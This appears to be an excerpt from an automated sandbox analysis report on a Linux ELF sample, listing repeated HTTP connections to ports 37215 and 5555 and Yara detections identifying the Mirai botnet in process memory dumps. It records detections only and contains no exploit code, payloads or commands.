Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36036 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55196
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50936 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56976 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40492 -> 5555

Source: log21.x86_64.elf

Submission file: segment LOAD with 7.9707 entropy (max. 8.0)

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
